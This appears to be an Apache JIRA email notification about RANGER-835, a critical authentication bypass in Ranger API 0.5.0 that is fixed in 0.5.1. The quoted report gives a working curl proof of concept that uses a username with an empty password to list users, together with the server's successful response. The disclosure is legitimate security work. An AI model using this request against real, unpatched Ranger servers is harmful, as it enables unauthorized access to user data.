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https://issues.apache.org/jira/browse/RANGER-835?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15137076#comment-15137076
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Jim Halfpenny commented on RANGER-835:
--------------------------------------
It would be useful to get this JIRA reference into the release notes too as I
didn't see any mention of this in the notes for 0.5.1.
> Authentication bypass in Ranger API
> -----------------------------------
>
> Key: RANGER-835
> URL: https://issues.apache.org/jira/browse/RANGER-835
> Project: Ranger
> Issue Type: Bug
> Components: Ranger
> Affects Versions: 0.5.0
> Reporter: Jim Halfpenny
> Priority: Critical
> Labels: authentication, security, vulnerability
> Fix For: 0.5.1, 0.6.0
>
>
> Authentication to the Ranger API can be trivially bypassed by sending a valid
> username along with a null password. API authentication appears to work
> correctly, rejecting requests if the password is incorrect but allows
> requests where no password has been sent.
> The example below uses curl to demonstrate this issue by retrieving a list of
> the users.
> $ curl -u admin: -v http://127.0.0.1:6080/service/xusers/users
> * Trying 127.0.0.1...
> * Connected to 127.0.0.1 (127.0.0.1) port 6080 (#0)
> * Server auth using Basic with user 'admin'
> > HEAD /service/xusers/users HTTP/1.1
> > Host: 127.0.0.1:6080
> > Authorization: Basic YWRtaW46
> > User-Agent: curl/7.43.0
> > Accept: */*
> >
> < HTTP/1.1 200 OK
> < Server: Apache-Coyote/1.1
> < Set-Cookie: JSESSIONID=96458E9E9A792D794D8C0D23839CFFC9; Path=/; HttpOnly
> < Content-Type: application/xml
> < Content-Length: 0
> < Date: Fri, 05 Feb 2016 11:41:16 GMT
> <
> <?xml version="1.0" encoding="UTF-8"
> standalone="yes"?><vxUserList><resultSize>48</resultSize><vXUsers>...
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